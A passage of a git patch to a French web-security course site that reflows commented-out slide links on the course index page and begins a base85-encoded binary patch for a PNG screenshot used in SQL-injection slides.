From 924c40b2650c84a37ff9347246b52ee85ad2880d Mon Sep 17 00:00:00 2001
From: Vincent Mazenod <vmazenod@gmail.com>
Date: Fri, 7 Jul 2023 22:12:32 +0200
Subject: [PATCH] SQLi

---
 content/Etudiants/zz2-f5-websec.md            |  19 +-
 .../slides/1337/images/sqli/select2input.png  | Bin 0 -> 34375 bytes
 content/slides/1337/md/fi.md                  |   5 +
 content/slides/1337/md/lab.md                 |   4 +
 content/slides/1337/md/sqli.md                | 321 ++++++++++--------
 content/slides/1337/md/xss.md                 |   2 +
 content/slides/1337/sqli.html                 |   7 +-
 content/slides/main.css                       |  12 +
 8 files changed, 213 insertions(+), 157 deletions(-)
 create mode 100644 content/slides/1337/images/sqli/select2input.png

diff --git a/content/Etudiants/zz2-f5-websec.md b/content/Etudiants/zz2-f5-websec.md
index dd43b05..7eea119 100644
--- a/content/Etudiants/zz2-f5-websec.md
+++ b/content/Etudiants/zz2-f5-websec.md
@@ -29,18 +29,19 @@ Tags: cours
     * [Drupalgeddon](slides/1337/drupalgeddon.html)
 * [captcha](slides/1337/captcha.html)
 
-<!--  * [Shellshock](slides/1337/shellshock.html)-->
-<!--
-## Pentesting
+<hr />
 
-* [Collecter](slides/1337/gathering.html)
-* [Détecter](slides/1337/detecting.html)
+<!-- *  [Shellshock](slides/1337/shellshock.html)
 
-## Se protéger
+  ## Pentesting
 
-* [Top10](slides/1337/top10.html)
-* [anticiper](slides/1337/anticiper.html)
--->
+  * [Collecter](slides/1337/gathering.html)
+  * [Détecter](slides/1337/detecting.html)
+
+  ## Se protéger
+
+  * [Top10](slides/1337/top10.html)
+  * [anticiper](slides/1337/anticiper.html) -->
 
 <div class="panel panel-success">
   <div class="panel-heading">
diff --git a/content/slides/1337/images/sqli/select2input.png b/content/slides/1337/images/sqli/select2input.png
new file mode 100644
index 0000000000000000000000000000000000000000..a7e7ed26ee4a06c606149c6e1ed4a4a00b87fbfe
GIT binary patch
literal 34375
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
